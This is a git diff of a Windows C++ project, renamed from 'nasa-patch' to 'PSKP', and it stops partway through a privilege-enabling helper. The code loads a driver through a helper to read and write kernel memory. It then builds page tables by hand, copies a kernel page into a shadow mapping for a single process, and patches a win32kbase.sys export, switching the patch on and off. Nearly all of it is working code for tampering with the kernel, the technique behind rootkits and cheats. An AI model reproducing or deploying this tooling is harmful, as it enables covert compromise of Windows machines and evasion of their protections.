diff --git a/nasa-patch.sln b/PSKP.sln similarity index 53% rename from nasa-patch.sln rename to PSKP.sln index 2f002c6..e3cf0c2 100644 --- a/nasa-patch.sln +++ b/PSKP.sln @@ -3,24 +3,15 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.30114.105 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nasa-patch", "nasa-patch\nasa-patch.vcxproj", "{D5E350A6-1FFC-466E-81D7-9691D0E58002}" +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PSKP", "PSKP\PSKP.vcxproj", "{D5E350A6-1FFC-466E-81D7-9691D0E58002}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|x64 = Debug|x64 - Debug|x86 = Debug|x86 Release|x64 = Release|x64 - Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {D5E350A6-1FFC-466E-81D7-9691D0E58002}.Debug|x64.ActiveCfg = Debug|x64 - {D5E350A6-1FFC-466E-81D7-9691D0E58002}.Debug|x64.Build.0 = Debug|x64 - {D5E350A6-1FFC-466E-81D7-9691D0E58002}.Debug|x86.ActiveCfg = Debug|Win32 - {D5E350A6-1FFC-466E-81D7-9691D0E58002}.Debug|x86.Build.0 = Debug|Win32 {D5E350A6-1FFC-466E-81D7-9691D0E58002}.Release|x64.ActiveCfg = Release|x64 {D5E350A6-1FFC-466E-81D7-9691D0E58002}.Release|x64.Build.0 = Release|x64 - {D5E350A6-1FFC-466E-81D7-9691D0E58002}.Release|x86.ActiveCfg = Release|Win32 - {D5E350A6-1FFC-466E-81D7-9691D0E58002}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/nasa-patch/nasa-patch.vcxproj b/PSKP/PSKP.vcxproj similarity index 95% rename from nasa-patch/nasa-patch.vcxproj rename to PSKP/PSKP.vcxproj index 25c0dae..31856b8 100644 --- a/nasa-patch/nasa-patch.vcxproj +++ b/PSKP/PSKP.vcxproj @@ -24,6 +24,7 @@ {d5e350a6-1ffc-466e-81d7-9691d0e58002} nasapatch 10.0 + PSKP @@ -140,21 +141,23 @@ - + - - - - - + + + + + + + diff --git a/PSKP/PSKP.vcxproj.filters b/PSKP/PSKP.vcxproj.filters new file mode 100644 index 0000000..793b89c --- /dev/null +++ b/PSKP/PSKP.vcxproj.filters @@ -0,0 +1,64 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {efdecd69-b7b9-4d44-b106-2566baa07d86} + + + {716c3cdb-d7d0-4149-a9e7-92eca1084619} + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files\util + + + Header Files\util + + + Header Files\util + + + Header Files\vdm + + + Header Files\vdm + + + Header Files + + + Header Files + + + Header Files + + + + + Header Files + + + \ No newline at end of file diff --git a/nasa-patch/nasa-patch.vcxproj.user b/PSKP/PSKP.vcxproj.user similarity index 100% rename from nasa-patch/nasa-patch.vcxproj.user rename to PSKP/PSKP.vcxproj.user diff --git a/PSKP/icon.rc b/PSKP/icon.rc new file mode 100644 index 0000000..5856874 --- /dev/null +++ b/PSKP/icon.rc @@ -0,0 +1,3 @@ +// Icon Resource Definition +#define MAIN_ICON 102 +MAIN_ICON ICON "small.ico" \ No newline at end of file diff --git a/PSKP/main.cpp b/PSKP/main.cpp new file mode 100644 index 0000000..a208580 --- /dev/null +++ b/PSKP/main.cpp @@ -0,0 +1,44 @@ +#include +#include "vdm_ctx/vdm_ctx.h" +#include "mem_ctx/mem_ctx.hpp" +#include "patch_ctx/patch_ctx.hpp" + +int __cdecl main(int argc, char** argv) +{ + const auto [drv_handle, drv_key] = vdm::load_drv(); + if (drv_handle == INVALID_HANDLE_VALUE) + { + std::printf("[!] unable to load vdm driver...\n"); + std::cin.get(); + return -1; + } + + vdm::vdm_ctx v_ctx; + nasa::mem_ctx my_proc(v_ctx); + nasa::patch_ctx kernel_patch(&my_proc); + + const auto function_addr = + reinterpret_cast( + util::get_kmodule_export( + "win32kbase.sys", + "NtDCompositionRetireFrame" + )); + + const auto new_patch_page = kernel_patch.patch((void*)function_addr); + std::cout << "[+] new_patch_page: " << new_patch_page << std::endl; + *reinterpret_cast(new_patch_page) = 0xDEAD; + + std::cout << "[+] kernel MZ (before patch): " << std::hex << v_ctx.rkm(function_addr) << std::endl; + kernel_patch.enable(); + std::cout << "[+] kernel MZ (patch enabled): " << std::hex << v_ctx.rkm(function_addr) << std::endl; + kernel_patch.disable(); + std::cout << "[+] kernel MZ (patch disabled): " << std::hex << v_ctx.rkm(function_addr) << std::endl; + + if (!vdm::unload_drv(drv_handle, drv_key)) + { + std::printf("[!] unable to unload driver...\n"); + std::cin.get(); + return -1; + } + std::cin.get(); +} diff --git a/PSKP/mem_ctx/mem_ctx.cpp b/PSKP/mem_ctx/mem_ctx.cpp new file mode 100644 index 0000000..f8c9ca7 --- /dev/null +++ b/PSKP/mem_ctx/mem_ctx.cpp @@ -0,0 +1,483 @@ +#include "mem_ctx.hpp" + +namespace nasa +{ + mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid) + : + v_ctx(&v_ctx), + dirbase(get_dirbase(v_ctx, pid)), + pid(pid) + { + // find an empty pml4e inside of current processes pml4... + const auto current_pml4 = + v_ctx.get_virtual(reinterpret_cast( + get_dirbase(v_ctx, GetCurrentProcessId()))); + + for (auto idx = 100u; idx > 0u; --idx) + if (!v_ctx.rkm(current_pml4 + (idx * sizeof pml4e)).value) + this->pml4e_index = idx; + + // allocate a pdpt + this->new_pdpt.second = + reinterpret_cast( + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + PAGE_IN(this->new_pdpt.second, PAGE_4KB); + // get page table entries for new pdpt + pt_entries new_pdpt_entries; + hyperspace_entries(new_pdpt_entries, new_pdpt.second); + this->new_pdpt.first = reinterpret_cast(new_pdpt_entries.pt.second.pfn << 12); + + // make a new pml4e that points to our new pdpt. + new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn; + + // set the pml4e to point to the new pdpt + set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true); + + // make a new pd + this->new_pd.second = + reinterpret_cast( + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + PAGE_IN(this->new_pd.second, PAGE_4KB); + + // get paging table entries for pd + pt_entries new_pd_entries; + hyperspace_entries(new_pd_entries, this->new_pd.second); + this->new_pd.first = reinterpret_cast(new_pd_entries.pt.second.pfn << 12); + + // make a new pt + this->new_pt.second = + reinterpret_cast( + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + PAGE_IN(this->new_pt.second, PAGE_4KB); + + // get paging table entries for pt + pt_entries new_pt_entries; + hyperspace_entries(new_pt_entries, this->new_pt.second); + this->new_pt.first = reinterpret_cast(new_pt_entries.pt.second.pfn << 12); + } + + mem_ctx::~mem_ctx() + { + const auto pml4 = + reinterpret_cast( + set_page(dirbase))[pml4e_index] = pml4e{ NULL }; + } + + void* mem_ctx::set_page(void* addr) + { + // table entry change. + ++pte_index; + if (pte_index >= 511) + { + ++pde_index; + pte_index = 0; + } + + if (pde_index >= 511) + { + ++pdpte_index; + pde_index = 0; + } + + if (pdpte_index >= 511) + pdpte_index = 0; + + pdpte new_pdpte = { NULL }; + new_pdpte.present = true; + new_pdpte.rw = true; + new_pdpte.pfn = reinterpret_cast(new_pd.first) >> 12; + new_pdpte.user_supervisor = true; + new_pdpte.accessed = true; + + // set pdpte entry + *reinterpret_cast(new_pdpt.second + pdpte_index) = new_pdpte; + + pde new_pde = { NULL }; + new_pde.present = true; + new_pde.rw = true; + new_pde.pfn = reinterpret_cast(new_pt.first) >> 12; + new_pde.user_supervisor = true; + new_pde.accessed = true; + + // set pde entry + *reinterpret_cast(new_pd.second + pde_index) = new_pde; + + pte new_pte = { NULL }; + new_pte.present = true; + new_pte.rw = true; + new_pte.pfn = reinterpret_cast(addr) >> 12; + new_pte.user_supervisor = true; + new_pte.accessed = true; + + // set pte entry + *reinterpret_cast(new_pt.second + pte_index) = new_pte; + + // set page offset + this->page_offset = virt_addr_t{ addr }.offset; + return get_page(); + } + + void* mem_ctx::get_page() const + { + // builds a new address given the state of all table indexes + virt_addr_t new_addr; + new_addr.pml4_index = this->pml4e_index; + new_addr.pdpt_index = this->pdpte_index; + new_addr.pd_index = this->pde_index; + new_addr.pt_index = this->pte_index; + new_addr.offset = this->page_offset; + return new_addr.value; + } + + void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid) + { + const auto peproc = + reinterpret_cast(v_ctx.get_peprocess(pid)); + + const auto dirbase = + v_ctx.rkm(peproc + 0x28); + + return reinterpret_cast(dirbase.pfn << 12); + } + + bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr) + { + if (!addr || !dirbase) + return false; + + virt_addr_t virt_addr{ addr }; + entries.pml4.first = reinterpret_cast(dirbase) + virt_addr.pml4_index; + entries.pml4.second = v_ctx->rkm( + v_ctx->get_virtual(reinterpret_cast(entries.pml4.first))); + + if (!entries.pml4.second.value) + return false; + + entries.pdpt.first = reinterpret_cast(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index; + entries.pdpt.second = v_ctx->rkm( + v_ctx->get_virtual(reinterpret_cast(entries.pdpt.first))); + + if (!entries.pdpt.second.value) + return false; + + entries.pd.first = reinterpret_cast(entries.pdpt.second.pfn << 12) + virt_addr.pd_index; + entries.pd.second = v_ctx->rkm( + v_ctx->get_virtual(reinterpret_cast(entries.pd.first))); + + // if its a 2mb page + if (entries.pd.second.large_page) + { + entries.pt.second.value = entries.pd.second.value; + entries.pt.first = reinterpret_cast(entries.pd.second.value); + return true; + } + + entries.pt.first = reinterpret_cast(entries.pd.second.pfn << 12) + virt_addr.pt_index; + entries.pt.second = v_ctx->rkm( + v_ctx->get_virtual(reinterpret_cast(entries.pt.first))); + + if (!entries.pt.second.value) + return false; + + return true; + } + + auto mem_ctx::get_pte(void* addr, bool use_hyperspace) -> std::pair + { + if (!dirbase || !addr) + return { {}, {} }; + + pt_entries entries; + if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) + return { entries.pt.first, entries.pt.second }; + + return { {}, {} }; + } + + void mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace) + { + if (!dirbase || !addr) + return; + + if (use_hyperspace) + v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pte); + else + write_phys(addr, pte); + } + + auto mem_ctx::get_pde(void* addr, bool use_hyperspace) -> std::pair + { + if (!dirbase || !addr) + return {}; + + pt_entries entries; + if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) + return { entries.pd.first, entries.pd.second }; + return {}; + } + + void mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace) + { + if (!dirbase || !addr) + return; + + if (use_hyperspace) + v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pde); + else + write_phys(addr, pde); + } + + auto mem_ctx::get_pdpte(void* addr, bool use_hyperspace) -> std::pair + { + if (!dirbase || !addr) + return {}; + + pt_entries entries; + if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) + return { entries.pdpt.first, entries.pdpt.second }; + return {}; + } + + void mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace) + { + if (!dirbase || !addr) + return; + + if (use_hyperspace) + v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pdpte); + else + write_phys(addr, pdpte); + } + + auto mem_ctx::get_pml4e(void* addr, bool use_hyperspace) -> std::pair + { + if (!dirbase || !addr) + return {}; + + pt_entries entries; + if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) + return { entries.pml4.first, entries.pml4.second }; + return {}; + } + + void mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace) + { + if (!dirbase || !addr) + return; + + if (use_hyperspace) + v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pml4e); + else + write_phys(addr, pml4e); + } + + auto mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size) -> std::pair + { + if (!buffer || !addr || !size || !dirbase) + return {}; + + virt_addr_t virt_addr{ addr }; + if (size <= PAGE_4KB - virt_addr.offset) + { + pt_entries entries; + read_phys + ( + buffer, + virt_to_phys(entries, addr), + size + ); + + return + { + reinterpret_cast(reinterpret_cast(buffer) + size), + reinterpret_cast(reinterpret_cast(addr) + size) + }; + } + else + { + // cut remainder + const auto [new_buffer_addr, new_addr] = read_virtual + ( + buffer, + addr, + PAGE_4KB - virt_addr.offset + ); + + // forward work load + return read_virtual + ( + new_buffer_addr, + new_addr, + size - (PAGE_4KB - virt_addr.offset) + ); + } + } + + auto mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size) -> std::pair + { + if (!buffer || !addr || !size || !dirbase) + return {}; + + virt_addr_t virt_addr{ addr }; + if (size <= PAGE_4KB - virt_addr.offset) + { + pt_entries entries; + write_phys + ( + buffer, + virt_to_phys(entries, addr), + size + ); + + return + { + reinterpret_cast(reinterpret_cast(buffer) + size), + reinterpret_cast(reinterpret_cast(addr) + size) + }; + } + else + { + // cut remainder + const auto [new_buffer_addr, new_addr] = write_virtual + ( + buffer, + addr, + PAGE_4KB - virt_addr.offset + ); + + // forward work load + return write_virtual + ( + new_buffer_addr, + new_addr, + size - (PAGE_4KB - virt_addr.offset) + ); + } + } + + void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) + { + if (!buffer || !addr || !size) + return; + + const auto temp_page = set_page(addr); + __try + { + memcpy(buffer, temp_page, size); + } + __except (EXCEPTION_EXECUTE_HANDLER) + {} + } + + void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) + { + if (!buffer || !addr || !size) + return; + + const auto temp_page = set_page(addr); + __try + { + memcpy(temp_page, buffer, size); + } + __except (EXCEPTION_EXECUTE_HANDLER) + {} + } + + void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr) + { + if (!addr || !dirbase) + return {}; + + const virt_addr_t virt_addr{ addr }; + + // traverse paging tables + auto pml4e = read_phys<::pml4e>( + reinterpret_cast(this->dirbase) + virt_addr.pml4_index); + + entries.pml4.first = reinterpret_cast(this->dirbase) + virt_addr.pml4_index; + entries.pml4.second = pml4e; + + if (!pml4e.value) + return NULL; + + auto pdpte = read_phys<::pdpte>( + reinterpret_cast(pml4e.pfn << 12) + virt_addr.pdpt_index); + + entries.pdpt.first = reinterpret_cast(pml4e.pfn << 12) + virt_addr.pdpt_index; + entries.pdpt.second = pdpte; + + if (!pdpte.value) + return NULL; + + auto pde = read_phys<::pde>( + reinterpret_cast(pdpte.pfn << 12) + virt_addr.pd_index); + + entries.pd.first = reinterpret_cast(pdpte.pfn << 12) + virt_addr.pd_index; + entries.pd.second = pde; + + if (!pde.value) + return NULL; + + auto pte = read_phys<::pte>( + reinterpret_cast(pde.pfn << 12) + virt_addr.pt_index); + + entries.pt.first = reinterpret_cast(pde.pfn << 12) + virt_addr.pt_index; + entries.pt.second = pte; + + if (!pte.value) + return NULL; + + return reinterpret_cast((pte.pfn << 12) + virt_addr.offset); + } + + unsigned mem_ctx::get_pid() const + { + return pid; + } + + void* mem_ctx::get_dirbase() const + { + return dirbase; + } + + pml4e mem_ctx::operator[](std::uint16_t pml4_idx) + { + return read_phys<::pml4e>(reinterpret_cast(this->dirbase) + pml4_idx); + } + + pdpte mem_ctx::operator[](const std::pair& entry_idx) + { + const auto pml4_entry = this->operator[](entry_idx.first); + return read_phys<::pdpte>(reinterpret_cast(pml4_entry.pfn << 12) + entry_idx.second); + } + + pde mem_ctx::operator[](const std::tuple& entry_idx) + { + const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) }); + return read_phys<::pde>(reinterpret_cast(pdpt_entry.pfn << 12) + std::get<2>(entry_idx)); + } + + pte mem_ctx::operator[](const std::tuple& entry_idx) + { + const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) }); + return read_phys<::pte>(reinterpret_cast(pd_entry.pfn << 12) + std::get<3>(entry_idx)); + } +} \ No newline at end of file diff --git a/PSKP/mem_ctx/mem_ctx.hpp b/PSKP/mem_ctx/mem_ctx.hpp new file mode 100644 index 0000000..89c2b2c --- /dev/null +++ b/PSKP/mem_ctx/mem_ctx.hpp @@ -0,0 +1,87 @@ +#pragma once +#include "../util/nt.hpp" +#include "../vdm_ctx/vdm_ctx.h" + +namespace nasa +{ + class mem_ctx + { + public: + explicit mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid = GetCurrentProcessId()); + ~mem_ctx(); + + auto get_pte(void* addr, bool use_hyperspace = false) -> std::pair; + void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false); + + auto get_pde(void* addr, bool use_hyperspace = false) -> std::pair; + void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false); + + auto get_pdpte(void* addr, bool use_hyperspace = false) -> std::pair; + void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false); + + auto get_pml4e(void* addr, bool use_hyperspace = false) -> std::pair; + void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false); + + void* get_dirbase() const; + static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid); + + void read_phys(void* buffer, void* addr, std::size_t size); + void write_phys(void* buffer, void* addr, std::size_t size); + + template + __forceinline T read_phys(void* addr) + { + T buffer; + read_phys((void*)&buffer, addr, sizeof(T)); + return buffer; + } + + template + __forceinline void write_phys(void* addr, const T& data) + { + write_phys((void*)&data, addr, sizeof(T)); + } + + auto read_virtual(void* buffer, void* addr, std::size_t size) -> std::pair; + auto write_virtual(void* buffer, void* addr, std::size_t size) -> std::pair; + + template + __forceinline T read_virtual(void* addr) + { + T buffer; + read_virtual((void*)&buffer, addr, sizeof(T)); + return buffer; + } + + template + __forceinline void write_virtual(void* addr, const T& data) + { + write_virtual((void*)&data, addr, sizeof(T)); + } + + void* virt_to_phys(pt_entries& entries, void* addr); + void* set_page(void* addr); + void* get_page() const; + unsigned get_pid() const; + + pml4e operator[](std::uint16_t pml4_idx); + pdpte operator[](const std::pair& entry_idx); + pde operator[](const std::tuple& entry_idx); + pte operator[](const std::tuple& entry_idx); + private: + + bool hyperspace_entries(pt_entries& entries, void* addr); + void* dirbase; + vdm::vdm_ctx* v_ctx; + std::uint16_t pml4e_index, + pdpte_index, + pde_index, + pte_index, + page_offset; + + std::pair new_pdpt; + std::pair new_pd; + std::pair new_pt; + unsigned pid; + }; +} \ No newline at end of file diff --git a/nasa-patch/patch_ctx/patch_ctx.cpp b/PSKP/patch_ctx/patch_ctx.cpp similarity index 62% rename from nasa-patch/patch_ctx/patch_ctx.cpp rename to PSKP/patch_ctx/patch_ctx.cpp index c9d82b9..029bd3d 100644 --- a/nasa-patch/patch_ctx/patch_ctx.cpp +++ b/PSKP/patch_ctx/patch_ctx.cpp @@ -9,12 +9,10 @@ namespace nasa void* patch_ctx::patch(void* kernel_addr) { - if (!kernel_addr) - return {}; - virt_addr_t kernel_addr_t{ kernel_addr }; pt_entries kernel_entries; - if (!mem_ctx->hyperspace_entries(kernel_entries, kernel_addr)) + + if (!mem_ctx->virt_to_phys(kernel_entries, kernel_addr)) return {}; const auto [new_pdpt_phys, new_pdpt_virt] = make_pdpt(kernel_entries, kernel_addr); @@ -24,9 +22,11 @@ namespace nasa // link pdpte to pd (reinterpret_cast(new_pdpt_virt) + kernel_addr_t.pdpt_index)->pfn = reinterpret_cast(new_pd_phys) >> 12; - if (kernel_entries.pd.second.page_size) + if (kernel_entries.pd.second.large_page) + { // link pde to new page if its 2mb (reinterpret_cast(new_pd_virt) + kernel_addr_t.pd_index)->pfn = reinterpret_cast(new_page_phys) >> 12; + } else { // link pde to pt @@ -46,145 +46,118 @@ namespace nasa return reinterpret_cast((std::uintptr_t)new_page_virt + kernel_addr_t.offset); } - std::pair patch_ctx::make_pdpt(const pt_entries& kernel_entries, void* kernel_addr) + auto patch_ctx::make_pdpt(const pt_entries& kernel_entries, void* kernel_addr) -> std::pair { - if (!kernel_addr) - return {}; - virt_addr_t kernel_addr_t{ kernel_addr }; const auto pdpt = reinterpret_cast( mem_ctx->set_page(reinterpret_cast( kernel_entries.pml4.second.pfn << 12))); const auto new_pdpt = - reinterpret_cast(VirtualAlloc( - NULL, - 0x1000, - MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE - )); - memset(new_pdpt, NULL, 0x1000); - - // + reinterpret_cast( + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + PAGE_IN(new_pdpt, PAGE_4KB); // copy over pdpte's - // for (auto idx = 0u; idx < 512; ++idx) - *(pdpte*)(new_pdpt + idx) = *(pdpte*)(pdpt + idx); + new_pdpt[idx] = pdpt[idx]; - // // get physical address of new pdpt - // pt_entries new_pdpt_entries; const auto physical_addr = - mem_ctx->virt_to_phys( - new_pdpt_entries, - new_pdpt - ); + mem_ctx->virt_to_phys(new_pdpt_entries, new_pdpt); return { physical_addr, new_pdpt }; } - std::pair patch_ctx::make_pd(const pt_entries& kernel_entries, void* kernel_addr) + auto patch_ctx::make_pd(const pt_entries& kernel_entries, void* kernel_addr) -> std::pair { - if (!kernel_addr) - return {}; - virt_addr_t kernel_addr_t{ kernel_addr }; - const auto new_pd = reinterpret_cast( - VirtualAlloc( - NULL, - 0x1000, - MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE - )); - memset(new_pd, NULL, 0x1000); - + const auto new_pd = + reinterpret_cast( + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + PAGE_IN(new_pd, PAGE_4KB); const auto pd = reinterpret_cast( mem_ctx->set_page( reinterpret_cast( kernel_entries.pdpt.second.pfn << 12))); - // // copy over pde's - // for (auto idx = 0u; idx < 512; ++idx) - *(::pde*)(new_pd + idx) = *(::pde*)(pd + idx); + new_pd[idx] = pd[idx]; // // get physical address of new pd // pt_entries pd_entries; const auto physical_addr = - mem_ctx->virt_to_phys( - pd_entries, - new_pd - ); + mem_ctx->virt_to_phys(pd_entries, new_pd); return { physical_addr, new_pd }; } - std::pair patch_ctx::make_pt(const pt_entries& kernel_entries, void* kernel_addr) + auto patch_ctx::make_pt(const pt_entries& kernel_entries, void* kernel_addr) -> std::pair { - if (!kernel_addr || kernel_entries.pd.second.page_size) // if this address is a 2mb mapping. + // if this address is a 2mb mapping. + if (!kernel_addr || kernel_entries.pd.second.large_page) return {}; virt_addr_t kernel_addr_t{ kernel_addr }; - const auto new_pt = reinterpret_cast( - VirtualAlloc( - NULL, - 0x1000, - MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE - )); - memset(new_pt, NULL, 0x1000); - - const auto pt = reinterpret_cast( + const auto new_pt = + reinterpret_cast( + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + PAGE_IN(new_pt, PAGE_4KB); + const auto pt = reinterpret_cast( mem_ctx->set_page( reinterpret_cast( kernel_entries.pd.second.pfn << 12))); - // // copy over pte's - // for (auto idx = 0u; idx < 512; ++idx) - *(::pde*)(new_pt + idx) = *(::pde*)(pt + idx); + new_pt[idx] = pt[idx]; - // // get physical address of new pt - // pt_entries entries; const auto physical_addr = - mem_ctx->virt_to_phys( - entries, - new_pt - ); + mem_ctx->virt_to_phys(entries, new_pt); return { physical_addr, new_pt }; } - std::pair patch_ctx::make_page(const pt_entries& kernel_entries, void* kernel_addr) + auto patch_ctx::make_page(const pt_entries& kernel_entries, void* kernel_addr) -> std::pair { - if (!kernel_addr) - return {}; - virt_addr_t kernel_addr_t{ kernel_addr }; - // // if its a 2mb page - // - if (kernel_entries.pd.second.page_size) + if (kernel_entries.pd.second.large_page) { - const auto new_page = VirtualAlloc( - NULL, - 0x1000 * 512 * 2, // 4mb - MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE - ); - memset(new_page, NULL, 512 * 0x1000); // zero 2mb - - // + const auto new_page = + VirtualAlloc( + NULL, + PAGE_4KB * 512 * 2, // 4mb + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + ); + + PAGE_IN(new_page, PAGE_4KB * 512); // copy 2mb one page at a time. - // for (auto idx = 0u; idx < 512; ++idx) { const auto old_page = mem_ctx->set_page(reinterpret_cast((kernel_entries.pt.second.pfn << 12) + (idx * 0x1000))); @@ -197,26 +170,25 @@ namespace nasa } else // 1kb { - const auto new_page = VirtualAlloc( - NULL, - 0x1000, - MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE - ); - memset(new_page, NULL, 0x1000); + const auto new_page = + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + ); + PAGE_IN(new_page, PAGE_4KB); const auto old_page = mem_ctx->set_page( reinterpret_cast( kernel_entries.pt.second.pfn << 12)); - memcpy(new_page, old_page, 0x1000); + memcpy(new_page, old_page, PAGE_4KB); pt_entries new_page_entries; const auto new_page_phys = mem_ctx->virt_to_phys( - new_page_entries, - new_page - ); + new_page_entries, new_page); return { new_page_phys, new_page }; } diff --git a/PSKP/patch_ctx/patch_ctx.hpp b/PSKP/patch_ctx/patch_ctx.hpp new file mode 100644 index 0000000..19a038e --- /dev/null +++ b/PSKP/patch_ctx/patch_ctx.hpp @@ -0,0 +1,34 @@ +#pragma once +#include "../mem_ctx/mem_ctx.hpp" + +namespace nasa +{ + class patch_ctx + { + public: + explicit patch_ctx(mem_ctx* mem_ctx); + void* patch(void* kernel_addr); + __forceinline void enable() + { + mapped_pml4e->pfn = new_pml4e.pfn; + } + + __forceinline void disable() + { + mapped_pml4e->pfn = old_pml4e.pfn; + } + + private: + auto make_pdpt(const pt_entries& kernel_entries, void* kernel_addr)->std::pair; + auto make_pd(const pt_entries& kernel_entries, void* kernel_addr)->std::pair; + auto make_pt(const pt_entries& kernel_entries, void* kernel_addr)->std::pair; + auto make_page(const pt_entries& kernel_entries, void* kernel_addr)->std::pair; + + mem_ctx* mem_ctx; + pt_entries new_entries; + pml4e new_pml4e; + pml4e old_pml4e; + void* kernel_addr; + ppml4e mapped_pml4e; + }; +} \ No newline at end of file diff --git a/PSKP/small.ico b/PSKP/small.ico new file mode 100644 index 0000000..b00b875 Binary files /dev/null and b/PSKP/small.ico differ diff --git a/nasa-patch/loadup.hpp b/PSKP/util/loadup.hpp similarity index 61% rename from nasa-patch/loadup.hpp rename to PSKP/util/loadup.hpp index 179538f..123d5c8 100644 --- a/nasa-patch/loadup.hpp +++ b/PSKP/util/loadup.hpp @@ -29,17 +29,16 @@ #include #include #include -#include #pragma comment(lib, "ntdll.lib") -using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING); -using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING); +extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING); +extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING); namespace driver { namespace util { - inline bool delete_service_entry(const std::string& service_name) + __forceinline auto delete_service_entry(const std::string& service_name) -> bool { HKEY reg_handle; static const std::string reg_key("System\\CurrentControlSet\\Services\\"); @@ -50,10 +49,11 @@ namespace driver ®_handle ); - return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle); + return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && + ERROR_SUCCESS == RegCloseKey(reg_handle);; } - inline bool create_service_entry(const std::string& drv_path, const std::string& service_name) + __forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool { HKEY reg_handle; std::string reg_key("System\\CurrentControlSet\\Services\\"); @@ -68,10 +68,7 @@ namespace driver if (result != ERROR_SUCCESS) return false; - // - // set type to 1 (kernel) - // - constexpr std::uint8_t type_value = 1; + std::uint8_t type_value = 1; result = RegSetValueExA( reg_handle, "Type", @@ -84,10 +81,7 @@ namespace driver if (result != ERROR_SUCCESS) return false; - // - // set error control to 3 - // - constexpr std::uint8_t error_control_value = 3; + std::uint8_t error_control_value = 3; result = RegSetValueExA( reg_handle, "ErrorControl", @@ -100,10 +94,7 @@ namespace driver if (result != ERROR_SUCCESS) return false; - // - // set start to 3 - // - constexpr std::uint8_t start_value = 3; + std::uint8_t start_value = 3; result = RegSetValueExA( reg_handle, "Start", @@ -116,9 +107,6 @@ namespace driver if (result != ERROR_SUCCESS) return false; - // - // set image path to the driver on disk - // result = RegSetValueExA( reg_handle, "ImagePath", @@ -134,8 +122,7 @@ namespace driver return ERROR_SUCCESS == RegCloseKey(reg_handle); } - // this function was coded by paracord: https://githacks.org/snippets/4#L94 - inline bool enable_privilege(const std::wstring& privilege_name) + __forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool { HANDLE token_handle = nullptr; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, 